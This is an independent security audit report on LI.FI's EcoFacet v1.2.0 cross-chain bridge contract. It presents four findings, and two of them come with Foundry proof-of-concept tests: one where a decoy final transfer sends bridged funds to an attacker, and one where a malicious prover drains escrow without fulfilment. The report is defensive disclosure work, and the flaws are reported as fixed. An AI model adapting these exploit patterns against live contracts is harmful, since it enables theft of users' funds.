



INDEPENDENT SECURITY REVIEW

September 2, 2026

LI.FI

EcoFacet (v1.2.0)

Independent Security Review

SECURITY RESEARCHER

Sujith Somraaj (somraajsujith@gmail.com)

REPORT PREPARED BY

Sujith Somraaj

Table of Contents

1	About Researcher	1
2	Disclaimer	1
3	Scope	1
4	Risk classification	1
4.1	Impact	1
4.2	Likelihood	1
4.3	Action required for severity levels	2
5	Executive Summary	2
6	Findings	3
6.1	Medium Risk	3
6.1.1	Final-call-only route validation allows EVM and Tron destination funds to be redirected . . .	3
6.2	Low Risk	5
6.2.1	Caller-selected prover can withdraw escrow without destination fulfillment	5
6.3	Informational	7
6.3.1	Solana receiver is not bound to the route's payout ATA	7
6.3.2	Stricter shared route decoder changes EVM behavior in a minor release	7

1 About Researcher

Sujith Somraaj is a distinguished security researcher and protocol engineer with over eight years of comprehensive experience in the Web3 ecosystem.

In addition to working as a Lead Security Researcher at Spearbit, Sujith is also the security researcher and advisor for leading bridge protocol LI.FI and also is a former founding engineer and current security advisor at Superform, a yield aggregator with over \$170M in TVL.

Sujith has experience working with protocols / funds including Coinbase, Solana Foundation, Layerzero, Edge Capital, Berachain, Optimism, Ondo, Sonic, Monad, Blast, ZkSync, Decent, Drips, SuperSushi Samurai, DistrictOne, Omni-X, Centrifuge, Superform-V2, Tea.xyz, Paintswap, Bitcorn, Sweep n' Flip, Byzantine Finance, Variational Finance, Satsbridge, Rova, Horizen, Earthfast, Angles and multiple other protocols.

Learn more about Sujith on sujithsomraaj.xyz or on cantina.xyz

2 Disclaimer

Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of that given smart contract(s) or blockchain software. i.e., the evaluation result does not guarantee against a hack (or) the non existence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, I always recommend proceeding with several audits and a public bug bounty program to ensure the security of smart contract(s). Lastly, the security audit is not an investment advice.

This review is done independently by the reviewer and is not entitled to any of the security agencies the researcher worked / may work with.

3 Scope

EcoFacet	src/Facets/EcoFacet.sol (v1.2.0)
-----------------	----------------------------------

4 Risk classification

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

4.1 Impact

Rating	Definition
High	leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	global losses <10% or losses to only a subset of users, but still unacceptable.
Low	losses will be annoying but bearable — applies to things like grieving attacks that can be easily repaired or even gas inefficiencies.

4.2 Likelihood

Rating	Definition
High	almost certain to happen, easy to perform, or not easy but highly incentivized
Medium	only conditionally possible or incentivized, but still relatively likely
Low	requires stars to align, or little-to-no incentive

4.3 Action required for severity levels

Severity	Required action
Critical	Must fix as soon as possible (if already deployed)
High	Must fix (before deployment if not already deployed)
Medium	Should fix
Low	Could fix

5 Executive Summary

Over the course of 7 hours in total, LI.FI engaged with the researcher to audit the contracts described in section 3 of this document ("scope").

This is an differential review, and hence the scope is limited only to the changes introduced in the audit commit.

In this period of time a total of **4 issues** were found.

Project Summary

Project Name	LI.FI
Repository	lifinance/contracts
Commit	c86df08
Audit Timeline	August 15, 2026 - September 2, 2026
Methods	Manual Review
Documentation	High
Test Coverage	Medium-High

Issues Found

Critical Risk	0
High Risk	0
Medium Risk	1
Low Risk	1
Gas Optimizations	0
Informational	2
Total Issues	4

6 Findings

6.1 Medium Risk

6.1.1 Final-call-only route validation allows EVM and Tron destination funds to be redirected

CONTEXT: EcoFacet.sol#L307-L345

DESCRIPTION: EcoFacet validates the destination receiver for Tron and EVM destinations by decoding only the final call in encodedRoute.

For Tron, `_validateTronReceiver()` compares `nonEVMReceiver` with the address decoded by `_decodeRouteReceiver()`. EVM destinations compare the same decoded address with `bridgeData.receiver`.

However, `_decodeRouteReceiver()` only verifies that the final call contains a complete transfer(address,uint256) payload and that its recipient matches the expected receiver. It does not validate:

- Calls executed before the final call
- The final call's target contract
- The transfer amount
- The call's native value
- Whether the call transfers one of route.tokens
- Whether earlier calls consume or redirect the route tokens

Eco's Executor executes every route call sequentially. Consequently, a malicious or compromised route builder can construct:

1. `token.transfer(attacker, fullAmount)`
2. `token.transfer(expectedReceiver, 0)`

The second call passes EcoFacet's receiver validation while the first call transfers the entire destination amount to the attacker. The source intent is funded and the facet emits the expected receiver, even though the destination route does not pay that receiver.

POC: Place the following test file in `EcoFacet.t.sol`:

```
function test_TroneAcceptsDecoyFinalTransfer() public {
    address attacker = makeAddr("ATTACKER");
    uint256 destinationAmount = bridgeData.minAmount;

    bridgeData.destinationChainId = LIFI_CHAIN_ID_TRON;
    bridgeData.receiver = NON_EVM_ADDRESS;

    IEcoPortal.TokenAmount[]
        memory routeTokens = new IEcoPortal.TokenAmount[](1);
    routeTokens[0] = IEcoPortal.TokenAmount({
        token: bridgeData.sendingAssetId,
        amount: destinationAmount
    });

    EcoExecutorCall[] memory calls = new EcoExecutorCall[](2);
    // The first call sends the entire destination amount to the attacker.
    calls[0] = EcoExecutorCall({
        target: bridgeData.sendingAssetId,
        data: abi.encodeWithSelector(
            IERC20.transfer.selector,
            attacker,
            destinationAmount
        ),
        value: 0
    });
    // The final zero-value transfer is the only call inspected by EcoFacet.
    calls[1] = EcoExecutorCall({
        target: bridgeData.sendingAssetId,
```

```

        data: abi.encodeWithSelector(
            IERC20.transfer.selector,
            USER_RECEIVER,
            0
        ),
        value: 0
    });

EcoExecutorRoute memory route = EcoExecutorRoute({
    salt: keccak256("eco.route.decoy-final-transfer"),
    deadline: uint64(block.timestamp + 1 days),
    portal: PORTAL,
    nativeAmount: 0,
    tokens: routeTokens,
    calls: calls
});
bytes memory encodedRoute = abi.encode(route);

EcoFacet.EcoData memory ecoData = EcoFacet.EcoData({
    nonEVMReceiver: abi.encode(USER_RECEIVER),
    prover: address(0x1234),
    rewardDeadline: uint64(block.timestamp + 2 days),
    encodedRoute: encodedRoute,
    solanaATA: bytes32(0),
    refundRecipient: USER_SENDER
});

bridgeData.minAmount = destinationAmount + TOKEN_SOLVER_REWARD;

IEcoPortal.TokenAmount[]
    memory rewardTokens = new IEcoPortal.TokenAmount[](1);
rewardTokens[0] = IEcoPortal.TokenAmount({
    token: bridgeData.sendingAssetId,
    amount: bridgeData.minAmount
});
IEcoPortal.Reward memory reward = IEcoPortal.Reward({
    deadline: ecoData.rewardDeadline,
    creator: ecoData.refundRecipient,
    prover: ecoData.prover,
    nativeAmount: 0,
    tokens: rewardTokens
});
bytes32 intentHash = keccak256(
    abi.encodePacked(
        uint64(728126428),
        keccak256(encodedRoute),
        keccak256(abi.encode(reward))
    )
);

uint256 senderBalanceBefore = usdc.balanceOf(USER_SENDER);

vm.startPrank(USER_SENDER);
usdc.approve(_facetTestContractAddress, bridgeData.minAmount);

vm.expectEmit(true, true, true, true, _facetTestContractAddress);
emit BridgeToNonEVMChainBytes32(
    bridgeData.transactionId,
    bridgeData.destinationChainId,
    bytes32(uint256(uint160(USER_RECEIVER)))
);

ecoFacet.startBridgeTokensViaEco(bridgeData, ecoData);
vm.stopPrank();

assertEq(
    uint256(IEcoPortal(PORTAL).getRewardStatus(intentHash)),
    uint256(IEcoPortal.Status.Funded)
);
assertEq(

```

```

        usdc.balanceOf(USER_SENDER),
        senderBalanceBefore - bridgeData.minAmount
    );

    _assertDecoyRoutePaysAttacker(calls, attacker, destinationAmount);
}

```

```

ETH_NODE_URI_BASE=https://mainnet.base.org forge test \
--match-contract EcoFacetTest \
--match-test test_TronAcceptsDecoyFinalTransfer \
-vvv

```

The test confirms that:

- The real Eco Portal changes the intent status to Funded.
- The sender's complete source reward is deposited.
- The event identifies the claimed receiver.
- Sequential execution transfers the full destination amount to the attacker.
- The claimed receiver's balance remains unchanged.

RECOMMENDATION: For EVM and Tron routes, validate the actual payout instead of trusting the final call alone. If multi-call routes are unnecessary, require exactly one call and verify that:

- Its target matches `route.tokens[0].token`.
- `call.value` is zero.
- Its calldata is exactly `transfer(address,uint256)`.
- The recipient matches `bridgeData.receiver` for EVM routes or `nonEVMReceiver` for Tron.
- The amount is nonzero and matches `route.tokens[0].amount`.

If Eco must support arbitrary multi-call routes, the complete route and expected output should instead be authenticated through a signed quote.

After remediation, convert the PoC into a reverting regression test such as `testRevert_TronRejectsDecoyFinalTransfer`.

LI.FI: Fixed in [b0db29d](#).

RESEARCHER: Verified fix.

6.2 Low Risk

6.2.1 Caller-selected prover can withdraw escrow without destination fulfillment

CONTEXT: [EcoFacet.sol#L168](#)

DESCRIPTION: `EcoFacet` accepts `ecoData.prover` from the caller and validates only that it is nonzero. It then places that address into the funded reward.

During withdrawal, the Portal asks that exact contract whether the intent was proven and transfers the entire reward to the claimant returned by it. A malicious prover can return the attacker for any intent hash, moving the status from Funded to Withdrawn without executing the destination route. This is visible in Eco's [IntentSource.withdraw](#).

A malicious or compromised route builder supplies a valid-looking route but replaces the expected prover with an attacker contract. The victim submits the transaction and funds the intent. The attacker then calls `withdraw`; the malicious prover fabricates fulfillment and receives the complete source reward.

POC: Place the following production-fork test in `EcoFacet.t.sol`

```
function test_ArbitraryProverCanWithdrawUnfulfilledIntent() public {
    vm.createSelectFork(vm.envString("ETH_NODE_URI_BASE"), 50165527);

    TestEcoFacet configuredEcoFacet = new TestEcoFacet(
        IEcoPortal(CONFIGURED_PORTAL)
    );
    address attacker = makeAddr("ATTACKER");
    uint64 destination = uint64(bridgeData.destinationChainId);
    MaliciousEcoProver maliciousProver = new MaliciousEcoProver(
        attacker,
        destination
    );

    bytes memory encodedRoute = _createEncodedRouteForPortal(
        USER_RECEIVER,
        bridgeData.sendingAssetId,
        bridgeData.minAmount,
        CONFIGURED_PORTAL
    );

    EcoFacet.EcoData memory ecoData = EcoFacet.EcoData({
        nonEVMReceiver: "",
        prover: address(maliciousProver),
        rewardDeadline: uint64(block.timestamp + 2 days),
        encodedRoute: encodedRoute,
        solanaATA: bytes32(0),
        refundRecipient: USER_SENDER
    });

    bridgeData.minAmount += TOKEN_SOLVER_REWARD;

    IEcoPortal.TokenAmount[]
        memory rewardTokens = new IEcoPortal.TokenAmount[](1);
    rewardTokens[0] = IEcoPortal.TokenAmount({
        token: bridgeData.sendingAssetId,
        amount: bridgeData.minAmount
    });
    IEcoPortal.Reward memory reward = IEcoPortal.Reward({
        deadline: ecoData.rewardDeadline,
        creator: ecoData.refundRecipient,
        prover: ecoData.prover,
        nativeAmount: 0,
        tokens: rewardTokens
    });
    bytes32 routeHash = keccak256(encodedRoute);
    bytes32 intentHash = keccak256(
        abi.encodePacked(
            destination,
            routeHash,
            keccak256(abi.encode(reward))
        )
    );

    uint256 attackerBalanceBefore = usdc.balanceOf(attacker);
    uint256 receiverBalanceBefore = usdc.balanceOf(USER_RECEIVER);

    deal(bridgeData.sendingAssetId, USER_SENDER, bridgeData.minAmount);
    vm.startPrank(USER_SENDER);
    usdc.approve(address(configuredEcoFacet), bridgeData.minAmount);
    configuredEcoFacet.startBridgeTokensViaEco(bridgeData, ecoData);
    vm.stopPrank();

    assertEq(
        uint256(IEcoPortal(CONFIGURED_PORTAL).getRewardStatus(intentHash)),
        uint256(IEcoPortal.Status.Funded)
    );

    IEcoPortalWithdraw(CONFIGURED_PORTAL).withdraw(
```



```

        destination,
        routeHash,
        reward
    );

    assertEq(
        uint256(IEcoPortal(CONFIGURED_PORTAL).getRewardStatus(intentHash)),
        uint256(IEcoPortal.Status.Withdrawn)
    );
    assertEq(
        usdc.balanceOf(attacker),
        attackerBalanceBefore + bridgeData.minAmount
    );
    assertEq(usdc.balanceOf(USER_RECEIVER), receiverBalanceBefore);
}

```

At Base block 50,165,527, the configured Portal changed the intent from Funded to Withdrawn and paid the attacker without destination execution.

RECOMMENDATION: Restrict provers through an owner-managed, destination-specific allowlist and cryptographically bind the approved prover, route hash, receiver, amount, refund recipient, and deadlines to trusted quote authorization; add a regression test rejecting an unapproved prover.

LI.FI: Fixed in [b0db29d](#).

RESEARCHER: Verified fix.

6.3 Informational

6.3.1 Solana receiver is not bound to the route's payout ATA

CONTEXT: [EcoFacet.sol#L367](#)

DESCRIPTION: Solana validation checks only that `nonEVMReceiver` is 32–44 bytes and that caller-supplied `solanaATA` equals bytes 251:283 of the route. It never verifies that this ATA is owned by the wallet encoded in `nonEVMReceiver`.

A backend can therefore provide the victim's wallet as `nonEVMReceiver` while placing a non-relevant canonical ATA in both `solanaATA` and the route. The event identifies the victim, but the normal `TransferChecked` instruction pays the attacker.

RECOMMENDATION: Consider documenting this edge case; otherwise emit and display the ATA as the authoritative receiver.

LI.FI: Acknowledged.

RESEARCHER: Acknowledged.

6.3.2 Stricter shared route decoder changes EVM behavior in a minor release

CONTEXT: [EcoFacet.sol#L295](#)

DESCRIPTION: EcoFacet v1.2.0 now requires EVM routes to end with a complete `transfer(address,uint256)` call. EcoFacet v1.1.0 only decoded the receiver word, so previously accepted routes can now revert with `InvalidReceiver()`.

This is a breaking change under the project's versioning rules, although no funds are at risk because validation occurs before deposit.

RECOMMENDATION: Keep the stricter validation, bump EcoFacet to v2.0.0, and add an EVM route regression test.

LI.FI: Fixed in [b0db29d](#).

RESEARCHER: Verified fix.